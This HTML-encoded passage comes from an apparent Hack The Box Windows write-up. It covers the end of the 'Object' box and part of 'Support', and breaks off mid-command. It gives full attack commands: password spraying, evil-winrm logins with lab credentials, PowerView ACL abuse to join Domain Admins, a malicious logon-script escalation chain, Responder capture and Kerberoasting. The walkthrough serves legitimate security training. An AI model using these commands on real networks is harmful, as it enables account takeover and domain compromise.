class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;copy \users\maria\desktop\Engines.xls \programdata\&amp;#34; &amp;gt; cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;download Engines.xls&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0700.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It contained several passwords. I could simply try them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm object.htb -u maria -p password.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0701.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.11.132 -u maria -p &amp;#39;W3llcr4ft3d_4cls&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0702.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I imported &lt;code&gt;PowerView.ps1&lt;/code&gt;, made &lt;code&gt;maria&lt;/code&gt; the owner of Domain Admins, and then added her to the group.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Both commands below work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObjectOwner -Identity &amp;#39;Domain Admins&amp;#39; -OwnerIdentity &amp;#39;maria&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#34;Domain Admins&amp;#34; -PrincipalIdentity maria -Rights All&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainGroupMember -Identity &amp;#39;Domain Admins&amp;#39; -Members &amp;#39;maria&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After changing the ACL, I had to log in again for it to take effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0703.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box was incredibly difficult. I still wanted to verify one thing: as &lt;code&gt;smith&lt;/code&gt;, I could assign a logon script to &lt;code&gt;maria&lt;/code&gt;. I already knew &lt;code&gt;maria&lt;/code&gt; could add herself to Domain Admins and then grant someone else administrator privileges. If I put that entire chain into the logon script, would that mean I did not need to know &lt;code&gt;maria&lt;/code&gt;&amp;rsquo;s password at all?&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;. C:\programdata\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity &amp;#34;Domain Admins&amp;#34; -PrincipalIdentity maria -Rights All; Add-DomainGroupMember -Identity &amp;#34;Domain Admins&amp;#34; -Members &amp;#34;smith&amp;#34;&amp;#39; &amp;gt; C:\programdata\cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0704.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked perfectly. Maybe the original author intended this route too, but then realized it would be far too difficult because there was no certainty that each command would execute successfully.&lt;/p&gt;&#10;&lt;h2 id="22support"&gt;&lt;a href="#22support" class="header-anchor"&gt;&lt;/a&gt;22.Support&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0705.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0706.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no web service, so I started with SMB, then moved on to RPC and LDAP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0707.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Anonymous access was enabled. After connecting, I found several files and searched for them one by one. It looked like a software repository. The main point was that if the software existed online, it probably would not be useful; if it was custom-made, though, it could be valuable.&lt;/p&gt;&#10;&lt;p&gt;UserInfo.exe.zip was the only one I could not find online. Everything else was a tool that could be used offensively.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0708.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started another VM. I could have run it directly on my physical machine, but there was far too much traffic when I captured packets there, and it was a mess. So I decided to capture it inside the VM and see what the program actually did.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0709.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0710.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It requested a domain over LDAP, so I added the domain to my hosts file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0711.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can see that it sent the request and resolved the internal IP, but it got stuck because the address was unreachable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0712.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still failed. In Wireshark, I could see my VM constantly sending requests to the Wi-Fi gateway while also trying the VPN address, but for some reason the packets were not getting through.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0713.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0714.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For some reason, following the stream produced nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0715.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was unreachable. I later discovered that switching VPNs had caused the problem; reconnecting the VPN fixed it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0716.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\peter\Desktop\UserInfo.exe&amp;gt; .\UserInfo.exe find -first *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;raven.clifton&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;anderson.damian&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;monroe.david&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cromwell.gerard&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;west.laura&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;levine.leopoldo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;langley.lucy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;daughtler.mabel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bardot.mary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stoll.rachelle&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;thomas.raphael&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smith.rosario&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wilson.shelby&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hernandez.stanley&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ford.victoria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That gave me a pile of usernames. I still was not entirely sure how it obtained them. I had only seen an LDAP request earlier, so they were probably returned by an LDAP query. Everything after that was encrypted by the VPN, and I could not decrypt it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0717.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0718.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I passed one of the usernames I had found to the user parameter and finally got a response.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0719.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, this was LDAP. I got stuck here. If it could connect automatically, I could not figure out how from IDA; that was a bit beyond me. I did learn about a new decompiler here, though, and it seemed friendlier. File inspection showed that UserInfo.exe was a .NET program, meaning it was written in C#, so I could use the decompiler below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dnSpy/dnSpy/releases" target="_blank" rel="noopener"&#10; &gt;https://github.com/dnSpy/dnSpy/releases&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0720.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0721.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it. There were two approaches. One was static debugging: set a breakpoint, or take the encrypted value and find a way to decrypt it. But I could not read C#, did not know how it performed the encryption, and the exam did not allow me to ask AI. There was no way I could learn it on the spot. Even though I could not really read the language, the program logic was similar enough; only the syntax and functions differed. Still, I ruled out manual decryption here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0722.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The username was right there and was literally called ldap. I was not sure whether the quotation mark was part of the password, but I could test that shortly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldap:&amp;#34;nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The other option was dynamic analysis. The application did not encrypt the packets itself; what I had seen as encrypted traffic in Wireshark was OpenVPN encryption, which was why I could not inspect the actual contents. If I pointed the LDAP server at my own machine, however, the traffic would not pass through the VPN and I would receive everything in plaintext. This was actually what I had planned to do from the beginning because moving my VPN setup around was a pain, but I kept hitting an error that I had not solved. Time to fix it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.dedoimedo.com/computers/wine-dotnet-mono.html" target="_blank" rel="noopener"&#10; &gt;https://www.dedoimedo.com/computers/wine-dotnet-mono.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks" target="_blank" rel="noopener"&#10; &gt;https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Using these two guides together solved the problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0723.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked normally now.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I tun0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wine UserInfo.exe -v find -first admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0724.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0725.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;On Kali, both Wireshark and Responder captured it without any problem. I had no idea why I could not capture it on Windows. Even when the domain pointed to the real IP, 10.10.11.174,&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0726.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;the traffic was still unencrypted and could be captured. Yet when I tried this on Windows at the start, it simply never worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0727.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0728.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing special here either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0729.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WinRM did not work.&lt;/p&gt;&#10;&lt;p&gt;It seemed that I could only query LDAP. I could check whether any service accounts had SPNs, which might provide a foothold.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py support.htb/ldap:&amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -dc-ip 10.10.11.174 -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0730.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing turned up. I checked whether LDAP could reveal a few more users, then planned to spray the password I had just found against them.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://support.htb:389 -D &amp;#34;CN=ldap,CN=Users,DC=support,DC=htb&amp;#34; -w &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -b &amp;#34;DC=support,DC=htb&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://support.htb:389 -D &amp;#34;CN=ldap,CN=Users,DC=support,DC=htb&amp;#34; -w &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -b &amp;#34;DC=support,DC=htb&amp;#34; | grep -iE &amp;#34;mail&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0731.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I collected these accounts, but there was no real difference from what the program above had returned.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb support.htb -u 1.txt -p &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0732.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No result. On the previous box, I noticed that many write-ups pasted the box description at the beginning, and those descriptions sometimes contained useful information. I was stuck here, so I went to read the description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0733.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That gave me an idea, although it felt like far too much of a spoiler—almost no different from reading a write-up. Still, I suppose this was one possible line of thought. The main goal was to learn the approach and the techniques.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0734.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If I had looked carefully, I could actually have spotted it. This user&amp;rsquo;s information had no mail field, the username did not contain a period, and the LDAP query did not return it alongside entries like the ones above. So you really do need to inspect everything carefully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;support:Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm support.htb -u support -p Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d support.htb -u support -p Ironside47pleasure40Watchful -ns 10.10.11.174 -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0735.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0736.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I loaded the data into BloodHound to take a look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0737.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked the help to see whether this could be exploited directly.&lt;/p&gt;&#10;&lt;p&gt;The tutorial did not recommend its first method, but it was still potentially usable.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user Administrator Password123! 